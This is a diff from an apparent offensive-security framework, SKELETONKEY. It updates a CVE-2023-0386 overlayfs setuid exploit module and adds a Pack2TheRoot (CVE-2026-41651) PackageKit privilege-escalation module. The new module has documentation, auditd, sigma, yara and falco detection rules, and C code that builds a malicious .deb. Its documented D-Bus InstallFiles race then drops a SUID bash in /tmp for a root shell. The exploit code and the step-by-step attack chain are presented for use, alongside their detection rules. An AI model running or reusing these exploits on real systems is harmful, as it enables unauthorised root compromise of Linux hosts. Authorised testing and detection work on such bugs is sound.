/* The unprivileged-userns precondition is now read from the shared
|
||||
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||
* probes once at startup via core/host.c. The previous per-detect
|
||||
* fork-probe helper was removed. */
|
||||
|
||||
static const char *find_setuid_in_lower(void)
|
||||
{
|
||||
@@ -98,39 +95,43 @@ static const char *find_setuid_in_lower(void)
|
||||
|
||||
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] overlayfs_setuid: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] overlayfs_setuid: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.11 when ovl copy-up was generalized.
|
||||
* Pre-5.11 immune via a different code path. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 11)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 11, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s predates the bug "
|
||||
"(introduced in 5.11)\n", v.release);
|
||||
"(introduced in 5.11)\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, &v);
|
||||
bool patched = kernel_range_is_patched(&overlayfs_setuid_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] overlayfs_setuid: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] overlayfs_setuid: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] overlayfs_setuid: user_ns+mount_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs_setuid: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -197,7 +198,10 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
|
||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -371,12 +375,88 @@ static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ct
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: overlayfs copy-up / unshare(CLONE_NEWUSER|CLONE_NEWNS)
|
||||
* / mount("overlay", ...) are Linux-only. Stub out so the module still
|
||||
* registers and the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t overlayfs_setuid_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] overlayfs_setuid: Linux-only module "
|
||||
"(overlayfs setuid copy-up) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] overlayfs_setuid: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char overlayfs_setuid_auditd[] =
|
||||
"# overlayfs setuid copy-up (CVE-2023-0386) — auditd detection rules\n"
|
||||
"# Same surface as CVE-2021-3493; share the skeletonkey-overlayfs key.\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S chown,fchown,fchownat -k skeletonkey-overlayfs-chown\n";
|
||||
|
||||
static const char overlayfs_setuid_sigma[] =
|
||||
"title: Possible CVE-2023-0386 overlayfs setuid copy-up\n"
|
||||
"id: 0891b2f7-skeletonkey-overlayfs-setuid\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the upstream overlayfs setuid copy-up bug: unshare\n"
|
||||
" (CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') with a setuid-\n"
|
||||
" root binary in lower + chown on the merged view to trigger\n"
|
||||
" copy-up. Setuid bit persists in upper layer despite\n"
|
||||
" unprivileged ownership.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" chown_up: {type: 'SYSCALL', syscall: 'chown'}\n"
|
||||
" condition: userns and overlay and chown_up\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.0386]\n";
|
||||
|
||||
static const char overlayfs_setuid_yara[] =
|
||||
"rule overlayfs_setuid_cve_2023_0386 : cve_2023_0386 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-0386\"\n"
|
||||
" description = \"overlayfs setuid copy-up workdir signature\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovlsu-[A-Za-z0-9]+/\n"
|
||||
" condition:\n"
|
||||
" $work\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_setuid_falco[] =
|
||||
"- rule: overlayfs chown on setuid binary in userns (copy-up)\n"
|
||||
" desc: |\n"
|
||||
" Non-root chown on a setuid-root binary inside an overlayfs\n"
|
||||
" mount in a userns. Triggers copy-up that preserves the\n"
|
||||
" setuid bit despite unprivileged upper-layer ownership.\n"
|
||||
" CVE-2023-0386.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chown, fchown, fchownat) and not user.uid = 0\n"
|
||||
" and (fd.name in (/usr/bin/su, /bin/su, /usr/bin/sudo,\n"
|
||||
" /usr/bin/passwd, /usr/bin/pkexec)\n"
|
||||
" or fd.name endswith /su)\n"
|
||||
" output: >\n"
|
||||
" chown on setuid binary by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2023.0386]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.name = "overlayfs_setuid",
|
||||
.cve = "CVE-2023-0386",
|
||||
@@ -388,9 +468,11 @@ const struct skeletonkey_module overlayfs_setuid_module = {
|
||||
.mitigate = NULL,
|
||||
.cleanup = overlayfs_setuid_cleanup,
|
||||
.detect_auditd = overlayfs_setuid_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_setuid_sigma,
|
||||
.detect_yara = overlayfs_setuid_yara,
|
||||
.detect_falco = overlayfs_setuid_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs_setuid(void)
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
# pack2theroot — CVE-2026-41651
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public Vozec PoC.
|
||||
> **Not yet validated end-to-end on a vulnerable host** — see
|
||||
> _Verification status_.
|
||||
|
||||
## Summary
|
||||
|
||||
Pack2TheRoot is a userspace LPE in the **PackageKit** daemon
|
||||
(`packagekitd`), the cross-distro package-management D-Bus abstraction
|
||||
layer shipped on virtually every desktop and most modern server Linux
|
||||
distros (Ubuntu, Debian, Fedora, Rocky/RHEL via Cockpit, openSUSE…).
|
||||
|
||||
Three cooperating bugs in `src/pk-transaction.c` chain into a TOCTOU
|
||||
window between polkit authorisation and dispatch. **The exploit needs
|
||||
no GUI session, no special permissions, and no polkit prompt** —
|
||||
GLib's D-Bus-vs-idle priority ordering makes it deterministic, not a
|
||||
timing race.
|
||||
|
||||
```
|
||||
1. InstallFiles(SIMULATE, dummy.deb) ← polkit bypassed; idle queued
|
||||
2. InstallFiles(NONE, payload.deb) ← cached_flags overwritten
|
||||
3. GLib idle fires → pk_transaction_run() ← reads payload.deb + NONE
|
||||
→ dpkg runs postinst as root → SUID bash → root shell
|
||||
```
|
||||
|
||||
The payload `.deb` is built entirely in C inside the module
|
||||
(ar / ustar / gzip-stored, no external `dpkg-deb` dependency).
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks Debian/Ubuntu host, system D-Bus accessible, `org.freedesktop.PackageKit` registered, and reads `VersionMajor/Minor/Micro` from the daemon. Returns VULNERABLE only when the version falls in `1.0.2 ≤ V ≤ 1.3.4`. The fix release (1.3.5, commit `76cfb675`, 2026-04-22) is pinned. |
|
||||
| `--exploit … --i-know` | Builds the two `.deb`s in `/tmp`, fires the two `InstallFiles` D-Bus calls back-to-back, polls up to 120s for `/tmp/.suid_bash` to appear, then `execv`s it for an interactive root shell. `--no-shell` stops after the SUID bash lands. |
|
||||
| `--cleanup` | Removes the staged `.deb` files; best-effort `unlink(/tmp/.suid_bash)` (the file is root-owned — needs root to remove); best-effort `sudo -n dpkg -r` the installed staging packages. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules covering the file-side footprint (the D-Bus call itself isn't auditable without bus monitoring). |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- Linux + Debian/Ubuntu (the PoC's built-in `.deb` builder is
|
||||
Debian-family only; RHEL/Fedora ports would need an `.rpm` builder).
|
||||
- PackageKit daemon registered on the system bus.
|
||||
- PackageKit version in `[1.0.2, 1.3.4]`.
|
||||
- Module built with `libglib2.0-dev` available (the top-level Makefile
|
||||
autodetects `gio-2.0` via `pkg-config`; the module compiles as a
|
||||
stub returning `PRECOND_FAIL` when GLib is absent).
|
||||
|
||||
## Side-effect notes
|
||||
|
||||
The exploit installs a malicious `.deb` (registered in dpkg's database
|
||||
as `skeletonkey-p2tr-payload`) and drops `/tmp/.suid_bash`. Both are
|
||||
intentionally visible — this is an authorised-testing tool, not a
|
||||
covert toolkit. Run `--cleanup` (preferably as root) before leaving
|
||||
the host.
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/Vozec/CVE-2026-41651> into the SKELETONKEY module
|
||||
interface. It has **not** been validated end-to-end against a known-
|
||||
vulnerable PackageKit host inside the SKELETONKEY CI matrix.
|
||||
|
||||
Unlike the page-cache modules, `detect()` here is high-confidence:
|
||||
the fix release is officially pinned and the version is read directly
|
||||
from the daemon over D-Bus, so a `VULNERABLE` verdict is grounded in
|
||||
upstream's own version metadata rather than a heuristic.
|
||||
|
||||
**Before promoting to 🟢:** validate the trigger end-to-end on a
|
||||
Debian/Ubuntu host with PackageKit ≤ 1.3.4 (the Vozec repo ships a
|
||||
Dockerfile that builds PackageKit 1.3.4 from source — that is the
|
||||
recommended bench).
|
||||
@@ -0,0 +1,53 @@
|
||||
# NOTICE — pack2theroot
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-41651** — Pack2TheRoot. PackageKit TOCTOU local privilege
|
||||
escalation in `src/pk-transaction.c`: two cooperating bugs allow
|
||||
`cached_transaction_flags` and `cached_full_paths` to be overwritten
|
||||
between polkit authorisation and dispatch, and a third bug causes the
|
||||
dispatcher to read those cached values at fire time rather than at
|
||||
authorisation time. GLib's D-Bus-vs-idle priority ordering makes the
|
||||
overwrite deterministic, not a timing race.
|
||||
|
||||
CVSS 8.1. Affects PackageKit `1.0.2` through `1.3.4` (over a decade
|
||||
of releases). Fixed in **PackageKit 1.3.5** (upstream commit
|
||||
`76cfb675`, 2026-04-22).
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by the **Deutsche Telekom security team**.
|
||||
|
||||
> Telekom advisory: <https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html>
|
||||
> Upstream advisory: <https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv>
|
||||
|
||||
The standalone proof-of-concept exploit the SKELETONKEY module is
|
||||
ported from is by **Vozec**:
|
||||
|
||||
> Reference PoC: <https://github.com/Vozec/CVE-2026-41651>
|
||||
|
||||
The Vozec repository carries no `LICENSE` file at the time of porting;
|
||||
the SKELETONKEY-distributed `skeletonkey_modules.c` is original
|
||||
SKELETONKEY-licensed code (MIT) that reproduces the PoC's deb-builder
|
||||
(ar / ustar / gzip-stored) and D-Bus call sequence. Independent
|
||||
research credit belongs to the people above.
|
||||
|
||||
A CTF-style lab by **dinosn** (Dockerised PackageKit 1.3.4 build with
|
||||
the exploit pre-set) is a useful reference bench:
|
||||
|
||||
> CTF lab: <https://github.com/dinosn/pack2theroot-lab>
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` wraps the PoC in the standard
|
||||
`skeletonkey_module` detect / exploit / cleanup interface, adds the
|
||||
embedded auditd + sigma rules, and reads PackageKit's
|
||||
`VersionMajor/Minor/Micro` D-Bus properties so `detect()` can give a
|
||||
high-confidence verdict (the fix release 1.3.5 is officially pinned —
|
||||
no version-fabrication caveat).
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable host.** See
|
||||
`MODULE.md` for the recommended verification path (Vozec's Dockerised
|
||||
PackageKit-1.3.4 bench).
|
||||
@@ -0,0 +1,28 @@
|
||||
# Pack2TheRoot (CVE-2026-41651) — auditd detection rules
|
||||
#
|
||||
# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls
|
||||
# install a malicious .deb as root, whose postinst drops a SUID bash
|
||||
# in /tmp. The D-Bus traffic itself is not auditable without bus
|
||||
# monitoring (dbus-monitor / dbus-broker logs), so these rules cover
|
||||
# the file-side footprint.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# The exact SUID payload path the published PoC lands
|
||||
-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot
|
||||
|
||||
# Any setuid bit set on /tmp/.suid_bash by anyone
|
||||
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \
|
||||
-F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid
|
||||
|
||||
# The PoC drops two .deb files in /tmp immediately before the install
|
||||
-a always,exit -F arch=b64 -S openat,creat \
|
||||
-F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb
|
||||
|
||||
# packagekitd-driven dpkg/apt activity initiated by a non-root caller
|
||||
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \
|
||||
-F auid!=0 -k skeletonkey-pack2theroot-dpkg
|
||||
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \
|
||||
-F auid!=0 -k skeletonkey-pack2theroot-apt
|
||||
@@ -0,0 +1,32 @@
|
||||
title: Possible Pack2TheRoot exploitation (CVE-2026-41651)
|
||||
id: 3f2b8d54-skeletonkey-pack2theroot
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-side footprint of Pack2TheRoot (CVE-2026-41651): a
|
||||
non-root user triggers PackageKit InstallFiles, dpkg runs a postinst
|
||||
that drops /tmp/.suid_bash (a setuid bash), and a privileged shell
|
||||
follows. The trigger itself is two back-to-back D-Bus calls with no
|
||||
polkit prompt — only visible via dbus-monitor or the file side
|
||||
effects flagged below.
|
||||
references:
|
||||
- https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html
|
||||
- https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv
|
||||
- https://github.com/Vozec/CVE-2026-41651
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
suid_drop:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/tmp/.suid_bash'
|
||||
- '/tmp/.pk-payload-'
|
||||
- '/tmp/.pk-dummy-'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: suid_drop and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.41651
|
||||
@@ -0,0 +1,800 @@
|
||||
/*
|
||||
* pack2theroot_cve_2026_41651 — SKELETONKEY module
|
||||
*
|
||||
* Pack2TheRoot (CVE-2026-41651) — PackageKit TOCTOU LPE.
|
||||
*
|
||||
* Three cooperating bugs in PackageKit's `src/pk-transaction.c`:
|
||||
* BUG 1 InstallFiles() stores cached_transaction_flags and
|
||||
* cached_full_paths unconditionally, with no state guard.
|
||||
* BUG 2 pk_transaction_set_state() silently rejects backward
|
||||
* transitions (READY → WAITING_FOR_AUTH).
|
||||
* BUG 3 pk_transaction_run() reads the cached flags at dispatch
|
||||
* time, not at authorisation time.
|
||||
* BYPASS The SIMULATE flag skips polkit entirely.
|
||||
*
|
||||
* Two back-to-back async D-Bus InstallFiles() calls — first with
|
||||
* SIMULATE (bypasses polkit, queues a GLib idle callback), then
|
||||
* immediately with NONE + the malicious .deb (overwrites the cached
|
||||
* flags/paths before the idle fires). GLib priority ordering makes
|
||||
* this deterministic, not a timing race. postinst of the malicious
|
||||
* .deb installs a SUID bash at /tmp/.suid_bash → root shell.
|
||||
*
|
||||
* This module is a faithful port of the public PoC by Vozec
|
||||
* (github.com/Vozec/CVE-2026-41651); the deb-builder helpers
|
||||
* (CRC-32, gzip-stored, tar entry, ar entry, build_deb) and the
|
||||
* D-Bus call sequence are reproduced from that PoC. The original
|
||||
* disclosure was by the Deutsche Telekom security team. See
|
||||
* NOTICE.md.
|
||||
*
|
||||
* Build adaptation: the module requires GLib/GIO for D-Bus. The
|
||||
* top-level Makefile autodetects gio-2.0 via pkg-config and defines
|
||||
* PACK2TR_HAVE_GIO when present. When absent, the module compiles as
|
||||
* a stub that returns PRECOND_FAIL with a build-time hint.
|
||||
*
|
||||
* Port adaptations vs. the standalone PoC:
|
||||
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||
* die()/exit() paths cannot tear down the skeletonkey dispatcher
|
||||
* - detect() does a passive precondition + version check (vulnerable
|
||||
* range 1.0.2 ≤ V ≤ 1.3.4, fixed in 1.3.5) — no version-only
|
||||
* fabrication; the fix release is officially pinned
|
||||
* - honours ctx->no_shell (build + fire the TOCTOU, do not spawn
|
||||
* the SUID bash shell)
|
||||
* - cleanup() removes the two /tmp .debs and best-effort-unlinks
|
||||
* /tmp/.suid_bash (which requires root since it is owned by root)
|
||||
*
|
||||
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||
* vulnerable PackageKit (1.3.4 or earlier) host. The fix release
|
||||
* (1.3.5, commit 76cfb675, 2026-04-22) IS pinned.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#if defined(__linux__) && defined(PACK2TR_HAVE_GIO)
|
||||
|
||||
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||
* Makefile; do not redefine here. */
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/file.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <time.h>
|
||||
#include <glib.h>
|
||||
#include <gio/gio.h>
|
||||
|
||||
/* ── config ────────────────────────────────────────────────────────── */
|
||||
#define SUID_PATH "/tmp/.suid_bash"
|
||||
#define PK_BUS "org.freedesktop.PackageKit"
|
||||
#define PK_OBJ "/org/freedesktop/PackageKit"
|
||||
#define PK_IFACE "org.freedesktop.PackageKit"
|
||||
#define PK_TX_IFACE "org.freedesktop.PackageKit.Transaction"
|
||||
#define FLAG_NONE ((guint64)0)
|
||||
#define FLAG_SIMULATE ((guint64)(1u << 2)) /* SIMULATE bypasses polkit */
|
||||
|
||||
/* Vulnerable range: PackageKit 1.0.2 ≤ V ≤ 1.3.4. Fixed in 1.3.5. */
|
||||
#define P2TR_VER(M,m,p) ((M)*10000 + (m)*100 + (p))
|
||||
#define P2TR_VER_LO P2TR_VER(1,0,2)
|
||||
#define P2TR_VER_HI P2TR_VER(1,3,4)
|
||||
|
||||
static int p2tr_verbose = 1;
|
||||
#define LOG(fmt, ...) do { if (p2tr_verbose) \
|
||||
fprintf(stderr, "[*] pack2theroot: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||
#define ERR(fmt, ...) fprintf(stderr, "[-] pack2theroot: " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
/* ── CRC-32 (ISO 3309) — verbatim from V12 PoC ─────────────────────── */
|
||||
static uint32_t crc_tab[256];
|
||||
static void crc_init(void)
|
||||
{
|
||||
for (unsigned i = 0; i < 256; i++) {
|
||||
uint32_t c = i;
|
||||
for (int j = 0; j < 8; j++) c = (c&1) ? (0xedb88320u ^ (c>>1)) : (c>>1);
|
||||
crc_tab[i] = c;
|
||||
}
|
||||
}
|
||||
static uint32_t crc32_iso(const void *src, size_t n)
|
||||
{
|
||||
const uint8_t *p = src; uint32_t c = 0xffffffffu;
|
||||
while (n--) c = crc_tab[(c ^ *p++) & 0xff] ^ (c >> 8);
|
||||
return c ^ 0xffffffffu;
|
||||
}
|
||||
|
||||
/* ── gzip stored deflate block (max 65535 B) ───────────────────────── */
|
||||
static size_t gzip_store(const void *src, size_t len, uint8_t *dst)
|
||||
{
|
||||
if (len > 0xffff) return 0;
|
||||
uint8_t *p = dst;
|
||||
*p++ = 0x1f; *p++ = 0x8b; *p++ = 0x08; *p++ = 0x00;
|
||||
p[0]=p[1]=p[2]=p[3]=0; p+=4; *p++ = 0x00; *p++ = 0xff;
|
||||
uint16_t ln = len, nln = ~ln;
|
||||
*p++ = 0x01; memcpy(p, &ln, 2); p += 2; memcpy(p, &nln, 2); p += 2;
|
||||
memcpy(p, src, len); p += len;
|
||||
uint32_t c = crc32_iso(src, len), s = (uint32_t)len;
|
||||
memcpy(p, &c, 4); p += 4; memcpy(p, &s, 4); p += 4;
|
||||
return p - dst;
|
||||
}
|
||||
|
||||
/* ── ustar tar entry ───────────────────────────────────────────────── */
|
||||
static size_t tar_entry(uint8_t *buf, const char *name, const void *data,
|
||||
size_t dlen, mode_t mode, char type)
|
||||
{
|
||||
memset(buf, 0, 512);
|
||||
snprintf((char *)buf, 100, "%s", name);
|
||||
snprintf((char *)buf+100, 8, "%07o", (unsigned)mode);
|
||||
snprintf((char *)buf+108, 8, "%07o", 0u);
|
||||
snprintf((char *)buf+116, 8, "%07o", 0u);
|
||||
snprintf((char *)buf+124, 12, "%011o", (unsigned)dlen);
|
||||
snprintf((char *)buf+136, 12, "%011o", (unsigned)time(NULL));
|
||||
memset(buf+148, ' ', 8);
|
||||
buf[156] = type;
|
||||
memcpy(buf+257, "ustar", 5); memcpy(buf+263, "00", 2);
|
||||
unsigned sum = 0; for (int i = 0; i < 512; i++) sum += buf[i];
|
||||
snprintf((char *)buf+148, 8, "%06o", sum);
|
||||
buf[154] = '\0'; buf[155] = ' ';
|
||||
size_t pad = dlen ? ((dlen + 511) / 512) * 512 : 0;
|
||||
if (dlen && data) memcpy(buf + 512, data, dlen);
|
||||
if (pad > dlen) memset(buf + 512 + dlen, 0, pad - dlen);
|
||||
return 512 + pad;
|
||||
}
|
||||
|
||||
/* ── ar member ─────────────────────────────────────────────────────── */
|
||||
static void ar_entry(FILE *f, const char *name, const void *data, size_t sz)
|
||||
{
|
||||
char h[61]; memset(h, ' ', 60); h[60] = 0;
|
||||
char t[17]; snprintf(t, 17, "%-16s", name); memcpy(h, t, 16);
|
||||
snprintf(t, 13, "%-12lu", (unsigned long)time(NULL)); memcpy(h+16, t, 12);
|
||||
memcpy(h+28, "0 ", 6); memcpy(h+34, "0 ", 6);
|
||||
memcpy(h+40, "100644 ", 8);
|
||||
snprintf(t, 11, "%-10zu", sz); memcpy(h+48, t, 10);
|
||||
h[58] = '`'; h[59] = '\n';
|
||||
fwrite(h, 1, 60, f); fwrite(data, 1, sz, f);
|
||||
if (sz % 2) fputc('\n', f);
|
||||
}
|
||||
|
||||
/* Assemble a minimal .deb (faithful to the V12 PoC build_deb). */
|
||||
static int build_deb(const char *dest, const char *pkg, const char *postinst)
|
||||
{
|
||||
static uint8_t tarbuf[65536], gzbuf[65536+256];
|
||||
memset(tarbuf, 0, sizeof tarbuf);
|
||||
crc_init();
|
||||
size_t off = 0;
|
||||
|
||||
char ctrl[512];
|
||||
snprintf(ctrl, sizeof ctrl,
|
||||
"Package: %s\nVersion: 1.0\nArchitecture: all\n"
|
||||
"Maintainer: SKELETONKEY\nDescription: Pack2TheRoot PoC\n", pkg);
|
||||
|
||||
off += tar_entry(tarbuf+off, "./", NULL, 0, 0755, '5');
|
||||
off += tar_entry(tarbuf+off, "./control", ctrl, strlen(ctrl), 0644, '0');
|
||||
if (postinst)
|
||||
off += tar_entry(tarbuf+off, "./postinst", postinst,
|
||||
strlen(postinst), 0755, '0');
|
||||
off += 1024; /* end-of-archive: two 512-byte zero blocks */
|
||||
|
||||
size_t ctrl_gz_len = gzip_store(tarbuf, off, gzbuf);
|
||||
if (!ctrl_gz_len) return -1;
|
||||
|
||||
static uint8_t empty_tar[1024], data_gz[256];
|
||||
memset(empty_tar, 0, sizeof empty_tar);
|
||||
size_t data_gz_len = gzip_store(empty_tar, sizeof empty_tar, data_gz);
|
||||
|
||||
FILE *f = fopen(dest, "wb");
|
||||
if (!f) return -1;
|
||||
fwrite("!<arch>\n", 1, 8, f);
|
||||
ar_entry(f, "debian-binary", "2.0\n", 4);
|
||||
ar_entry(f, "control.tar.gz", gzbuf, ctrl_gz_len);
|
||||
ar_entry(f, "data.tar.gz", data_gz, data_gz_len);
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── D-Bus helpers ─────────────────────────────────────────────────── */
|
||||
|
||||
typedef struct { GMainLoop *loop; guint32 exit_code; gboolean done; } P2trCtx;
|
||||
|
||||
static void cb_finished(GDBusConnection *c G_GNUC_UNUSED,
|
||||
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
|
||||
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
|
||||
GVariant *p, gpointer u)
|
||||
{
|
||||
P2trCtx *ctx = u; guint32 ec, rt;
|
||||
g_variant_get(p, "(uu)", &ec, &rt);
|
||||
LOG("transaction finished (exit=%u, %u ms)", ec, rt);
|
||||
ctx->exit_code = ec; ctx->done = TRUE;
|
||||
g_main_loop_quit(ctx->loop);
|
||||
}
|
||||
|
||||
static void cb_error(GDBusConnection *c G_GNUC_UNUSED,
|
||||
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
|
||||
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
|
||||
GVariant *p, gpointer u G_GNUC_UNUSED)
|
||||
{
|
||||
guint32 code; const gchar *det;
|
||||
g_variant_get(p, "(u&s)", &code, &det);
|
||||
LOG("PK error %u: %s", code, det);
|
||||
}
|
||||
|
||||
static gboolean cb_timeout(gpointer u)
|
||||
{
|
||||
ERR("transaction loop timed out");
|
||||
g_main_loop_quit(u);
|
||||
return G_SOURCE_REMOVE;
|
||||
}
|
||||
|
||||
